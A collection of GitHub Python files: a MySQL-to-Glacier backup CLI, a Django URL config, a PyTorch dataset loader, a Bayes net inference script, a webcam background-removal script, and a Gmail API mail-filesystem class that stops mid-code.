+{"seq_id":"33070510494","text":"# dumpfreeze\n# Create MySQL dumps and backup to Amazon Glacier\n\nimport os\nimport logging\nimport datetime\nimport click\nimport uuid\nimport sqlalchemy as sa\nfrom dumpfreeze import backup as bak\nfrom dumpfreeze import aws\nfrom dumpfreeze import inventorydb\nfrom dumpfreeze import __version__\n\nlogger = logging.getLogger(__name__)\n\n\ndef abort_if_false(ctx, param, value):\n    if not value:\n        ctx.abort()\n\n\n@click.group()\n@click.option('-v', '--verbose', count=True)\n@click.option('--local-db', default='~/.dumpfreeze/inventory.db')\n@click.version_option(__version__, prog_name='dumpfreeze')\n@click.pass_context\ndef main(ctx, verbose, local_db):\n    \"\"\" Create and manage MySQL dumps locally and on AWS Glacier \"\"\"\n    # Set logger verbosity\n    if verbose == 1:\n        logging.basicConfig(level=logging.ERROR)\n    elif verbose == 2:\n        logging.basicConfig(level=logging.INFO)\n    elif verbose == 3:\n        logging.basicConfig(level=logging.DEBUG)\n    else:\n        logging.basicConfig(level=logging.CRITICAL)\n\n    # Check if db exists, if not create it\n    expanded_db_path = os.path.expanduser(local_db)\n    if not os.path.isfile(expanded_db_path):\n        inventorydb.setup_db(expanded_db_path)\n\n    # Create db session\n    db_engine = sa.create_engine('sqlite:///' + expanded_db_path)\n    Session = sa.orm.sessionmaker(bind=db_engine)\n    ctx.obj['session_maker'] = Session\n    return\n\n\n# Backup operations\n@click.group()\n@click.pass_context\ndef backup(ctx):\n    \"\"\" Operations on local backups \"\"\"\n    pass\n\n\n@backup.command('create')\n@click.option('--user', default='root', help='Database user')\n@click.option('--backup-dir',\n              default=os.getcwd(),\n              help='Backup storage directory')\n@click.argument('database')\n@click.pass_context\ndef create_backup(ctx, database, user, backup_dir):\n    \"\"\" Create a mysqldump backup\"\"\"\n    backup_uuid = uuid.uuid4().hex\n    try:\n        bak.create_dump(database, user, backup_dir, backup_uuid)\n    except Exception as e:\n        logger.critical(e)\n        raise SystemExit(1)\n\n    today = datetime.date.isoformat(datetime.datetime.today())\n\n    # Insert backup info into backup inventory db\n    backup_info = inventorydb.Backup(id=backup_uuid,\n                                     database_name=database,\n                                     backup_dir=backup_dir,\n                                     date=today)\n    local_db = ctx.obj['session_maker']()\n    backup_info.store(local_db)\n\n    click.echo(backup_uuid)\n\n\n@backup.command('upload')\n@click.option('--vault', required=True, help='Vault to upload to')\n@click.argument('backup_uuid', metavar='UUID')\n@click.pass_context\ndef upload_backup(ctx, vault, backup_uuid):\n    \"\"\" Upload a local backup dump to AWS Glacier \"\"\"\n    # Get backup info\n    local_db = ctx.obj['session_maker']()\n    try:\n        query = local_db.query(inventorydb.Backup)\n        backup_info = query.filter_by(id=backup_uuid).one()\n    except Exception as e:\n        logger.critical(e)\n        local_db.rollback()\n        raise SystemExit(1)\n    finally:\n        local_db.close()\n\n    # Construct backup path\n    backup_file = backup_info.id + '.sql'\n    backup_path = os.path.join(backup_info.backup_dir, backup_file)\n\n    # Upload backup_file to Glacier\n    try:\n        upload_response = aws.glacier_upload(backup_path, vault)\n    except Exception as e:\n        logger.critical(e)\n        raise SystemExit(1)\n\n    archive_uuid = uuid.uuid4().hex\n    # Insert archive info into archive inventory db\n    archive_info = inventorydb.Archive(id=archive_uuid,\n                                       aws_id=upload_response['archiveId'],\n                                       location=upload_response['location'],\n                                       vault_name=vault,\n                                       database_name=backup_info.database_name,\n                                       date=backup_info.date)\n    local_db = ctx.obj['session_maker']()\n    archive_info.store(local_db)\n\n    click.echo(archive_uuid)\n\n\n@backup.command('restore')\n@click.option('--user', default='root', help='Database user')\n@click.argument('backup_uuid', metavar='UUID')\n@click.pass_context\ndef restore_backup(ctx, user, backup_uuid):\n    \"\"\" Restore a backup to the database \"\"\"\n    # Get backup info\n    local_db = ctx.obj['session_maker']()\n    try:\n        query = local_db.query(inventorydb.Backup)\n        backup_info = query.filter_by(id=backup_uuid).one()\n    except Exception as e:\n        logger.critical(e)\n        local_db.rollback()\n        raise SystemExit(1)\n    finally:\n        local_db.close()\n\n    # Restore backup to database\n    bak.restore_dump(backup_info.database_name,\n                     user,\n                     backup_info.backup_dir,\n                     backup_info.id)\n\n\n@backup.command('delete')\n@click.argument('backup_uuid', metavar='UUID')\n@click.option('--yes',\n              '-y',\n              is_flag=True,\n              callback=abort_if_false,\n              expose_value=False,\n              prompt='Delete backup?')\n@click.pass_context\ndef delete_backup(ctx, backup_uuid):\n    \"\"\" Delete a local dump backup \"\"\"\n    # Get backup info\n    local_db = ctx.obj['session_maker']()\n    try:\n        query = local_db.query(inventorydb.Backup)\n        backup_info = query.filter_by(id=backup_uuid).one()\n    except Exception as e:\n        logger.critical(e)\n        local_db.rollback()\n        raise SystemExit(1)\n    finally:\n        local_db.close()\n\n    # Construct backup path\n    backup_file = backup_info.id + '.sql'\n    backup_path = os.path.join(backup_info.backup_dir, backup_file)\n\n    # Delete file\n    os.remove(backup_path)\n\n    # Remove from db\n    local_db = ctx.obj['session_maker']()\n    backup_info.delete(local_db)\n\n    click.echo(backup_info.id)\n\n\n@backup.command('list')\n@click.pass_context\ndef list_backup(ctx):\n    \"\"\" Return a list of all local backups \"\"\"\n    # Get Inventory\n    local_db = ctx.obj['session_maker']()\n    try:\n        backups = local_db.query(inventorydb.Backup).all()\n    except Exception as e:\n        logger.critical(e)\n        local_db.rollback()\n        raise SystemExit(1)\n    finally:\n        local_db.close()\n\n    # do some formatting for printing\n    formatted = []\n    for backup in backups:\n        formatted.append([backup.id,\n                          backup.database_name,\n                          backup.backup_dir,\n                          backup.date])\n\n    # Add header\n    formatted.insert(0, ['UUID', 'DATABASE', 'LOCATION', 'DATE'])\n\n    # Calculate widths\n    widths = [max(map(len, column)) for column in zip(*formatted)]\n\n    # Print inventory\n    for row in formatted:\n        print(\"  \".join((val.ljust(width)\n              for val, width in zip(row, widths))))\n\n\n# Archive operations\n@click.group()\n@click.pass_context\ndef archive(ctx):\n    \"\"\" Operations on AWS Glacier Archives \"\"\"\n    pass\n\n\n@archive.command('delete')\n@click.argument('archive_uuid', metavar='UUID')\n@click.option('--yes',\n              '-y',\n              is_flag=True,\n              callback=abort_if_false,\n              expose_value=False,\n              prompt='Delete archive?')\n@click.pass_context\ndef delete_archive(ctx, archive_uuid):\n    \"\"\" Delete an archive on AWS Glacier \"\"\"\n    # Get archive info\n    local_db = ctx.obj['session_maker']()\n    try:\n        query = local_db.query(inventorydb.Archive)\n        archive_info = query.filter_by(id=archive_uuid).one()\n    except Exception as e:\n        logger.critical(e)\n        local_db.rollback()\n        raise SystemExit(1)\n    finally:\n        local_db.close()\n\n    # Send delete job to AWS\n    aws.delete_archive(archive_info)\n\n    # Remove from db\n    local_db = ctx.obj['session_maker']()\n    archive_info.delete(local_db)\n\n    click.echo(archive_uuid)\n\n\n@archive.command('retrieve')\n@click.argument('archive_uuid', metavar='UUID')\n@click.pass_context\ndef retrieve_archive(ctx, archive_uuid):\n    \"\"\" Initiate an archive retrieval from AWS Glacier \"\"\"\n    # Get archive info\n    local_db = ctx.obj['session_maker']()\n    try:\n        query = local_db.query(inventorydb.Archive)\n        archive_info = query.filter_by(id=archive_uuid).one()\n    except Exception as e:\n        logger.critical(e)\n        local_db.rollback()\n        raise SystemExit(1)\n    finally:\n        local_db.close()\n\n    # Initiate archive retrieval job\n    job_response = aws.retrieve_archive(archive_info)\n\n    # Insert backup info into backup inventory db\n    job_info = inventorydb.Job(account_id=job_response[0],\n                               vault_name=job_response[1],\n                               id=job_response[2])\n\n    local_db = ctx.obj['session_maker']()\n    job_info.store(local_db)\n\n\n@archive.command('list')\n@click.pass_context\ndef list_archive(ctx):\n    \"\"\" Return a list of uploaded archives \"\"\"\n    # Get inventory\n    local_db = ctx.obj['session_maker']()\n    try:\n        archives = local_db.query(inventorydb.Archive).all()\n    except Exception as e:\n        logger.critical(e)\n        local_db.rollback()\n        raise SystemExit(1)\n    finally:\n        local_db.close()\n\n    # do some formatting for printing\n    formatted = []\n    for archive in archives:\n        formatted.append([archive.id,\n                          archive.vault_name,\n                          archive.database_name,\n                          archive.date])\n\n    # Add header\n    formatted.insert(0, ('UUID', 'VAULT', 'DATABASE', 'DATE'))\n\n    # Calculate widths\n    widths = [max(map(len, column)) for column in zip(*formatted)]\n\n    # Print inventory\n    for row in formatted:\n        print(\"  \".join((val.ljust(width)\n              for val, width in zip(row, widths))))\n\n\n@click.command('poll-jobs')\n@click.pass_context\ndef poll_jobs(ctx):\n    \"\"\" Check each job in job list, check for completion,\n    and download job data\n    \"\"\"\n    # Get job list\n    local_db = ctx.obj['session_maker']()\n    try:\n        job_list = local_db.query(inventorydb.Job).all()\n    except Exception as e:\n        logger.critical(e)\n        local_db.rollback()\n        raise SystemExit(1)\n    finally:\n        local_db.close()\n\n    # Check for job completion\n    for job in job_list:\n        logger.info('Checking job %s for completion', job.id)\n        if aws.check_job(job):\n            logger.info('Job %s complete, getting data', job.id)\n            # Pull archive data\n            backup_data = aws.get_archive_data(job)\n\n            # Store backup data as new file\n            backup_dir = os.getcwd()\n            backup_uuid = uuid.uuid4().hex\n            backup_file = backup_uuid + '.sql'\n            backup_path = os.path.join(backup_dir, backup_file)\n\n            with open(backup_path, 'w') as f:\n                f.write(backup_data)\n\n            # Get corrosponding archive data\n            archive_id = aws.get_job_archive(job)\n            local_db = ctx.obj['session_maker']()\n            try:\n                query = local_db.query(inventorydb.Archive)\n                archive_info = query.filter_by(aws_id=archive_id).one()\n            except Exception as e:\n                logger.critical(e)\n                local_db.rollback()\n                raise SystemExit(1)\n            finally:\n                local_db.close()\n\n            database_name = archive_info.database_name\n            backup_date = archive_info.date\n\n            # Insert backup info into backup inventory db\n            backup_info = inventorydb.Backup(id=backup_uuid,\n                                             database_name=database_name,\n                                             backup_dir=backup_dir,\n                                             date=backup_date)\n            local_db = ctx.obj['session_maker']()\n            backup_info.store(local_db)\n\n            # Delete job from db\n            local_db = ctx.obj['session_maker']()\n            job.delete(local_db)\n\n        click.echo(backup_uuid)\n\n\nmain.add_command(backup)\nmain.add_command(archive)\nmain.add_command(poll_jobs, name='poll-jobs')\nmain(obj={})\n","repo_name":"rkcf/dumpfreeze","sub_path":"dumpfreeze/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":11996,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"41811062928","text":"from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n    path('', views.index, name='home'),\n    path('Logout', views.logout, name='Logout'),\n    path('login', views.login, name='login'),\n    path('signup', views.signup, name='student_signup'),\n    path('instructor_signup', views.instructor_signup, name='instructor_signup'),\n    path('settings', views.settings, name='settings'),\n    path('user/<str:user_name>', views.user_profile, name='profile'),\n    path('user/<str:user_name>/edit', views.edit_user_profile, name='edit_profile'),\n    path('set_theme', views.set_theme, name='set_theme'),\n    path('get_theme', views.get_theme, name='get_theme'),\n    path('instructors', views.view_instructors, name='view_instructors'),\n    path('instructor/<str:user_name>', views.instructor_profile, name='instructor'),\n    path('courses', views.view_courses, name='view_courses'),\n    path('create_course', views.create_course, name='create_course'),\n    path('course/<str:code>', views.courses_page, name='course'),\n    path('course/<str:code>/edit', views.edit_course, name='edit_course'),\n    path('internet_courses', views.view_internet_courses, name='view_internet_courses'),\n    path('tests', views.view_tests, name='tests'),\n    path('test/<int:test_id>', views.test_page, name='test'),\n    path('submit_exam/<int:test_id>', views.submit_exam, name='submit_exam'),\n    path('attendance', views.attendance, name='attendance'),\n    path('attendance/add', views.add_attendance, name='add_attendance'),\n    path('attendance/facial_add', views.facial_add_attendance_page, name='facial_add_attendance'),\n    path('attendance/facial_add/api', views.facial_add_attendance, name='facial_add_attendance_api'),\n    path('facial_login/enable', views.enable_facial_login, name='enable_facial_login'),\n    path('facial_login', views.facial_login, name='facial_login'),\n]\n","repo_name":"Yousr-Ahmed/Smartiqa","sub_path":"Smart/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22098333959","text":"import os\nimport click\nimport numpy as np\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\n\nfrom global_constants import income_const\n\n\nclass FeatDataset(Dataset):\n    def __init__(self,subset):\n        self.subset = subset\n        self.feats, self.labels, self.sample_ids = self.load_data()\n\n    def load_data(self):\n        if self.subset=='test':\n            subset_npy = 'test_npy'\n        else:\n            subset_npy = 'train_val_npy'\n\n        feats = np.load(os.path.join(\n            income_const['proc_dir'],\n            income_const[subset_npy]['feat']))\n        labels = np.load(os.path.join(\n            income_const['proc_dir'],\n            income_const[subset_npy]['label']))\n        sample_ids = np.load(os.path.join(\n            income_const['proc_dir'],\n            income_const['sample_ids_npy'][self.subset]))\n        \n        return feats, labels, sample_ids\n\n    def __len__(self):\n        return len(self.sample_ids)\n\n    def __getitem__(self,i):\n        idx = self.sample_ids[i]\n        \n        to_return = {\n            'feat': self.feats[idx],\n            'label': self.labels[idx],\n        }\n\n        return to_return\n\n\ndef test_dataset():\n    train_dataset = FeatDataset('train')\n    val_dataset = FeatDataset('val')\n    test_dataset = FeatDataset('test')\n    import pdb; pdb.set_trace()\n\n\ndef test_dataloader():\n    dataset = FeatDataset('train')\n    dataloader = DataLoader(\n        dataset,\n        batch_size=5,\n        num_workers=2,\n        shuffle=True,\n        drop_last=False)\n    for data in dataloader:\n        import pdb; pdb.set_trace()\n\n\n@click.command()\n@click.option(\n    '--test',\n    type=click.Choice(['dataset','dataloader']),\n    help='Which test to run')\ndef test_main(test):\n    if test=='dataset':\n        test_dataset()\n    elif test=='dataloader':\n        test_dataloader()\n    else:\n        assert(False),'test not implemented'\n\n\nif __name__=='__main__':\n    test_main()","repo_name":"BigRedT/deep_income","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"1244480082","text":"# Exact Inference in Bayes Nets Implementation\n\n# DO NOT DELETE - THIS NEEDS TO BE INCLUDED TO BE ABLE TO READ LINES LONGER THAN 1024 BYTES\n# OTHERWISE LONG INPUTS WILL FAIL\nimport readline\n\n# Global variables for convenience\nnodeList = []\nevidenceData = None\ndecisionData = None\n# Class for holding decision data - this was used more extensively but has been optimized out, copying was slow\n\n\nclass Decision:\n    def __init__(self, decisionD) -> None:\n        self.decisions = []\n        for i in range(len(decisionD)):\n            vals = decisionD[i].split()\n            vals[0] = int(vals[0])\n            vals[1] = int(vals[1])\n            vals[2] = float(vals[2])\n            self.decisions.append(vals)\n# Class for holding evidence data - this was used more extensively but has been optimized out, copying was slow\n\n\nclass Evidence:\n    def __init__(self, evidenceD) -> None:\n        self.evidences = []\n        for i in range(len(evidenceD)):\n            vals = evidenceD[i].split()\n            for i in range(len(vals)):\n                vals[i] = int(vals[i])\n            self.evidences.append(vals)\n\n# Class for holding the nodes of the Bayes net\n\n\nclass Node:\n\n    # Init all the values after reading it\n    def __init__(self, nodeData, index) -> None:\n        self.idx = index\n        self.numOfValues = int(nodeData[0])\n        self.numOfParents = int(nodeData[1])\n        self.parents = []\n        self.parentValues = 0\n        self.probValues = []\n        for i in range(self.numOfParents):\n            if(self.parentValues == 0):\n                self.parentValues = nodeList[int(nodeData[2 + i])].numOfValues\n            else:\n                self.parentValues *= nodeList[int(nodeData[2 + i])].numOfValues\n            self.parents.append(nodeList[int(nodeData[2 + i])])\n\n        if(self.parentValues == 0):\n            vals = nodeData[2].split(',')\n            for i in range(len(vals)):\n                vals[i] = float(vals[i])\n            self.probValues.extend(vals)\n        else:\n            for i in range(self.parentValues):\n                vals = nodeData[2 + self.numOfParents + i].split(':', 1)\n\n                vals[0] = vals[0].split(',')\n                vals[1] = vals[1].split(',')\n\n                index = ''\n                for i in range(len(vals[0])):\n                    index += vals[0][i]\n                vals[0] = index\n                for i in range(len(vals[1])):\n                    vals[1][i] = float(vals[1][i])\n\n                self.probValues.append(vals)\n\n    # Finding the probability given the parents of the node, or if it does not have parents then just return\n    # the corresponding value\n    def probValue(self, e, valIndex) -> float:\n        if(self.numOfParents <= 0):\n            return self.probValues[valIndex]\n        else:\n            index = ''\n            parentids = []\n            for i in range(len(self.parents)):\n                parentids.append(self.parents[i].idx)\n\n            for i in range(len(parentids)):\n                for j in range(len(e)):\n                    if(parentids[i] == e[j][0]):\n                        index += str(e[j][1])\n\n            for i in range(len(self.probValues)):\n                if(self.probValues[i][0] == index):\n                    return self.probValues[i][1][valIndex]\n\n# Pop the first valus of the variables list after copying it\n\n\ndef popFirstCopied(variables):\n    copyvar = variables.copy()\n    copyvar.pop(0)\n    return copyvar\n\n# Perform enumeration\n\n\ndef enumerateAll(variables, e) -> float:\n    if(len(variables) <= 0):\n        return 1.0\n    y = nodeList[variables[0]]\n    variables = popFirstCopied(variables)\n\n    contains = -1\n\n    for i in range(len(e)):\n        if(e[i][0] == y.idx):\n            contains = i\n            break\n\n    if(contains != -1):\n        return y.probValue(e, e[contains][1]) * enumerateAll(variables, e)\n    else:\n        prob = 0.0\n        for i in range(y.numOfValues):\n            prob += y.probValue(e, i) * enumerateAll(variables,\n                                                     addEvidenceCopied(e, [y.idx, i]))\n        return prob\n\n# Normalize all the values\n\n\ndef normalize(distribution):\n    length = 0.0\n    for i in range(len(distribution)):\n        length += distribution[i]\n    for i in range(len(distribution)):\n        distribution[i] /= length\n    return distribution\n\n# Adding evidence after copying the values\n\n\ndef addEvidenceCopied(e, val):\n    ecopy = e.copy()\n    ecopy.append(val)\n    return ecopy\n\n# Perform enumeration for each possible value of the target node and construct it`s distribution\n\n\ndef enumerationAsk(X: Node, e, bn):\n    distribution = []\n    for i in range(nodeList[X].numOfValues):\n        distribution.append(enumerateAll(bn, addEvidenceCopied(e, [X, i])))\n    return normalize(distribution)\n\n# Calculate the best decision based on the utilities and distribution\n\n\ndef bestDecision(distribution, numOfDecisions, decisionData):\n    utility = [0.0] * numOfDecisions\n    for i in range(len(distribution) * numOfDecisions):\n        utility[i % numOfDecisions] += distribution[decisionData.decisions[i]\n                                                    [0]] * decisionData.decisions[i][2]\n    return utility.index(max(utility))\n# Reading input, setting up structures and calling enumeration\n\n\ndef main():\n    numOfNodes = int(input())\n    nodes = []\n    for i in range(numOfNodes):\n        nodes.append(str(input()))\n\n    numOfEvidenceNodes = int(input())\n\n    evidenceNodes = []\n    for i in range(numOfEvidenceNodes):\n        evidenceNodes.append(str(input()))\n\n    targetNodeIndex = int(input())\n\n    numOfDecisions = int(input())\n\n    decisions = []\n    for i in range(int(nodes[targetNodeIndex][0]) * numOfDecisions):\n        decisions.append(str(input()))\n\n    for i in range(numOfNodes):\n        nodeList.append(Node(nodes[i].split(), i))\n\n    evidenceData = Evidence(evidenceNodes)\n\n    decisionData = Decision(decisions)\n\n    nodeListIndexes = []\n\n    for i in range(len(nodeList)):\n        nodeListIndexes.append(nodeList[i].idx)\n\n    evidenceList = []\n\n    for i in range(len(evidenceData.evidences)):\n        evidenceList.append(evidenceData.evidences[i])\n\n    distribution = enumerationAsk(\n        nodeList[targetNodeIndex].idx, evidenceList, nodeListIndexes)\n\n    for i in range(len(distribution)):\n        print(str(distribution[i]))\n\n    print(bestDecision(distribution, numOfDecisions, decisionData))\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"gregorywelker/exact-inference-bayes","sub_path":"exact_inference.py","file_name":"exact_inference.py","file_ext":"py","file_size_in_byte":6460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"44304878451","text":"import cv2\nimport cvzone\nimport os\n\nfrom cvzone.SelfiSegmentationModule import SelfiSegmentation\n\ncap = cv2.VideoCapture(0)\ncap.set(3,640)\ncap.set(4,480)\ncap.set(cv2.CAP_PROP_FPS, 60)\nsegmentor = SelfiSegmentation()\nfpsReader = cvzone.FPS()\nimgBg = cv2.imread('images/1.jpg')\nlistImg = os.listdir('images')\nimgList = []\nfor imgPath in listImg:\n  img = cv2.imread(f'images/{imgPath}')\n  imgList.append(img)\nimgIndex = 0\n\nwhile True:\n  success, img = cap.read()\n  imgOut = segmentor.removeBG(img, imgList[imgIndex], threshold=0.8)\n\n  stackedImage = cvzone.stackImages([img, imgOut], 2, 1)\n  _, stackedImage = fpsReader.update(stackedImage, color=(0,0,255))\n  cv2.imshow('Image', stackedImage)\n  key = cv2.waitKey(1)\n\n  if key == ord('a'):\n    if imgIndex > 0:\n      imgIndex -= 1\n  elif key == ord('d'):\n    if imgIndex < len(imgList)-1:\n      imgIndex += 1\n  elif key == ord('q'):\n    break","repo_name":"satwikgawand/remove-background","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1424581055","text":"from __future__ import print_function\nimport pickle\nimport os.path\n\nimport googleapiclient\nfrom googleapiclient import _auth\nimport sys\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nimport gmail_func.send_email\nimport email_draft_parse\nimport googleapiclient.errors as google_error\nimport mimetypes\nfrom email.mime.text import MIMEText\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.image import MIMEImage\nfrom email.mime.audio import MIMEAudio\nfrom email.mime.base import MIMEBase\n\nimport base64\nimport email\n\nfrom concurrent.futures import TimeoutError\nfrom google.cloud import pubsub_v1\nfrom multiprocessing import Lock\n\nimport ast\n\nimport os\n\nimport configparser\n\nimport time\nimport traceback\n\n\n\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = \"project_key.json\"\n\n# based on implementation from https://blog.mailtrap.io/send-emails-with-gmail-api/#Step_9_Read_a_specific_email_from_your_inbox\n\n# If modifying these scopes, delete the file token.pickle.\nSCOPES = ['https://mail.google.com/']\n\n\nclass Gmail():\n    def __init__(self):\n        \"\"\"\n        Shows basic usage of the Gmail API.\n        Lists the user's Gmail labels.\n        \"\"\"\n        creds = None\n        # The file token.pickle stores the user's access and refresh tokens, and is\n        # created automatically when the authorization flow completes for the first\n        # time.\n        if os.path.exists('token.pickle'):\n            with open('token.pickle', 'rb') as token:\n                creds = pickle.load(token)\n        # If there are no (valid) credentials available, let the user log in.\n        if not creds or not creds.valid:\n            if creds and creds.expired and creds.refresh_token:\n                creds.refresh(Request())\n            else:\n                flow = InstalledAppFlow.from_client_secrets_file(\n                    'credentials.json', SCOPES)\n                creds = flow.run_local_server(port=0)\n            # Save the credentials for the next run\n            with open('token.pickle', 'wb') as token:\n                pickle.dump(creds, token)\n\n        self.service = build('gmail', 'v1', credentials=creds)\n        self.user_id = \"me\"\n        self.creds = creds\n        self.http = googleapiclient._auth.authorized_http(self.creds)\n\n        self.config = configparser.ConfigParser()\n        self.config.sections()\n        self.config.read('config.ini')\n        self.historyId = 0\n        self.gmailfs = None\n        self.subname = self.config['GMAIL']['subname']\n        self.topic = self.config['GMAIL']['topic']\n        self.projectID = self.config['GMAIL']['projectid']\n\n        self.start_autoupdate_service()\n\n    ### util functions\n\n    def trash_message(self, msg_id):\n        try:\n            return self.service.users().messages().trash(userId=self.user_id, id=msg_id).execute(_auth.authorized_http(self.creds))\n        except Exception as error:\n            print('An error occurred during trash: %s' % error)\n\n    def get_messages(self, label=None):\n        service, user_id = self.service, self.user_id\n        try:\n            return service.users().messages().list(userId=user_id, labelIds=label).execute(_auth.authorized_http(self.creds))\n        except Exception as error:\n            print('An error occurred: %s' % error)\n\n    def get_meta_message(self, msg_id):\n        service, user_id = self.service, self.user_id\n        try:\n            return service.users().messages().get(userId=user_id, id=msg_id, format='metadata').execute(_auth.authorized_http(self.creds))\n        except Exception as error:\n            print('An error occurred during get meta message: %s' % error)\n\n    def get_mime_message(self, msg_id):\n        service, user_id = self.service, self.user_id\n        try:\n            message = service.users().messages().get(userId=user_id, id=msg_id,\n                                                     format='raw').execute(_auth.authorized_http(self.creds))\n            if message is None:\n                raise NonexistenceEmailError(f\"Email {msg_id} doesn't exist\")\n            print('Message snippet: %s' % message['snippet'])\n            msg_str = base64.urlsafe_b64decode(\n                message['raw'].encode(\"utf-8\")).decode(\"utf-8\")\n            mime_msg = email.message_from_string(msg_str)\n\n            # Parse into html, text, and other parts\n            html = ''\n            text = ''\n            if mime_msg.is_multipart():\n                for part in mime_msg.walk():\n                    if part.get_content_type() == 'text/plain' or  part.get_content_type() == 'text/html':\n                        parsed = part.get_payload(decode=True).decode('utf-8')\n                        if part.get_content_type() == 'text/plain':\n                            text = parsed\n                        if part.get_content_type() == 'text/html':\n                            html = parsed\n                        part.set_payload(\"Please find separate parsed file.\")\n                    if part.get_content_disposition():\n                        part.set_payload(\"Please find attachment in the email folder.\")\n            else:\n                text = mime_msg.get_payload()\n                mime_msg.set_payload(\"Please find separate parsed file.\")\n            return mime_msg, html, text\n        except googleapiclient.errors.HttpError as http_error:\n            raise NonexistenceEmailError(f\"Email {msg_id} doesn't exist\")\n        except Exception as error:\n            print('An error occurred: %s' % error)\n\n    def get_attachments(self, msg_id, store_dir):\n        service, user_id = self.service, self.user_id\n        # try:\n        message = service.users().messages().get(userId=user_id, id=msg_id).execute(_auth.authorized_http(self.creds))\n        if message is None or 'parts' not in message['payload']:\n            return\n            # raise NonexistenceEmailError(\"Email attachments don't exist\")\n        for part in message['payload']['parts']:\n            if (part['filename'] and part['body'] and part['body']['attachmentId']):\n                attachment = service.users().messages().attachments().get(\n                    id=part['body']['attachmentId'], userId=user_id, messageId=msg_id).execute(_auth.authorized_http(self.creds))\n\n                file_data = base64.urlsafe_b64decode(\n                    attachment['data'].encode('utf-8'))\n                path = ''.join([store_dir, part['filename']])\n\n                f = open(path, 'wb')\n                f.write(file_data)\n                f.close()\n        # except TypeError as error:\n        #     print('An error occurred: %s' % error)\n\n    def get_subject_and_metadata_with_id(self, email_id):\n        m_meta = self.get_meta_message(email_id)\n        # TODO: historyId\n        # You can get each messages' historyId like this:\n        # print(m_meta['historyId'])\n        # the first message m's historyId will be the most recent.\n        # Messages are ordered from most recent to oldest\n        meta = {}\n        subject = ''\n        for header in m_meta['payload']['headers']:\n            if header['name'] == 'Subject':\n                subject = header['value']\n                break\n\n        # for stat\n        meta['date'] = int(m_meta['internalDate']) / 1000  # gmail's timestamp is in millisecond, so divide by 1000\n        meta['size'] = int(m_meta['sizeEstimate'])\n\n        # unique identifier, for fetch full text\n        meta['id'] = m_meta['id']\n\n        return subject, meta\n\n    ### combination functions\n    def get_email_list(self):\n        # https://developers.google.com/gmail/api/reference/rest/v1/users.messages/list\n        # for now just return all\n        messages = self.get_messages('INBOX')['messages']\n        subject_list = []\n        metadata_dict = {}\n        subject_by_id = {}\n\n        # iterate each id in messages list, get meta\n        for m in messages:\n\n            # # request specific message in meta by id\n            # m_meta = self.get_meta_message(m['id'])\n            # # TODO: historyId\n            # # You can get each messages' historyId like this:\n            # # print(m_meta['historyId'])\n            # # the first message m's historyId will be the most recent.\n            # # Messages are ordered from most recent to oldest\n            # meta = {}\n            # subject = ''\n            # for header in m_meta['payload']['headers']:\n            #     if header['name'] == 'Subject':\n            #         subject = header['value']\n            #         break\n            #\n            # # for stat\n            # meta['date'] = int(m_meta['internalDate']) / 1000 #gmail's timestamp is in millisecond, so divide by 1000\n            # meta['size'] = int(m_meta['sizeEstimate'])\n            #\n            # # unique identifier, for fetch full text\n            # meta['id'] = m_meta['id']\n            #\n            subject, meta = self.get_subject_and_metadata_with_id(m['id'])\n            key = subject + \" ID \" + meta['id']\n            metadata_dict[key] = meta\n            subject_by_id[meta['id']] = key\n            subject_list.append(key)\n\n        return metadata_dict, subject_list, subject_by_id\n        # message = get_mime_message(service, user_id, messages['messages'][1]['id'])\n\n    def send_email(self, draft):\n        vals = email_draft_parse.extract_fields(draft)\n        if len(vals) == 4:\n            email_draft = gmail_func.send_email.create_message(*vals)\n        else:\n            vals.append(vals[3])\n            del vals[3]\n            email_draft = gmail_func.send_email.create_message_with_attachment(*vals)\n        gmail_func.send_email.send_message(self.service, self.user_id, email_draft)\n\n    def start_autoupdate_service(self):\n        request = {\n            'labelIds': ['INBOX'],\n            'topicName': self.topic\n        }\n\n        response = self.service.users().watch(userId='me', body=request).execute(_auth.authorized_http(self.creds))\n        self.historyId = response['historyId']\n        print('Starting History ID: {}'.format(self.historyId))\n\n    def partial_sync(self, startHistoryId=None):\n        # notifies of all changes after given historyId\n        if(startHistoryId is None):\n            startHistoryId = self.historyId\n\n        def parse(history, changetype, function):\n            \"\"\"\n            history: Google API history object\n            changetype: history changetype requested\n            function: function that all relevant message objects should be passed to\n            \"\"\"\n            if changetype in history:\n                print(str(changetype))\n                for msg in history[changetype]:\n                    print(msg['message']['id'])\n                    function(msg)\n\n        def lru_add(msg):\n            if('INBOX' in msg['message']['labelIds']):\n                print('added to inbox')\n                self.gmailfs.lru.add_new_email(msg['message']['id'])\n\n        def lru_remove(msg):\n            if('INBOX' in msg['message']['labelIds']):\n                print('removed from inbox')\n                self.gmailfs.lru.delete_message(msg['message']['id'])\n\n        def isMovetoInbox(msg):\n            if('INBOX' in msg['labelIds']):\n                print('added to inbox')\n                self.gmailfs.lru.add_new_email(msg['message']['id'])\n\n        def isRemoveFromInbox(msg):\n            if('INBOX' in msg['labelIds']):\n                print('removed from inbox')\n                self.gmailfs.lru.delete_message(msg['message']['id'])\n        try:\n            histories = self.service.users().history()\\\n                     .list(userId='me',\n                           startHistoryId=startHistoryId).execute(_auth.authorized_http(self.creds))\n            if(histories and 'history' in histories):\n                histories = histories['history']\n                for history in histories:\n                    #print(\"NH ------------------------\")\n                    #print(history)\n                    parse(history, 'messagesAdded', lru_add)\n                    parse(history, 'messagesDeleted', 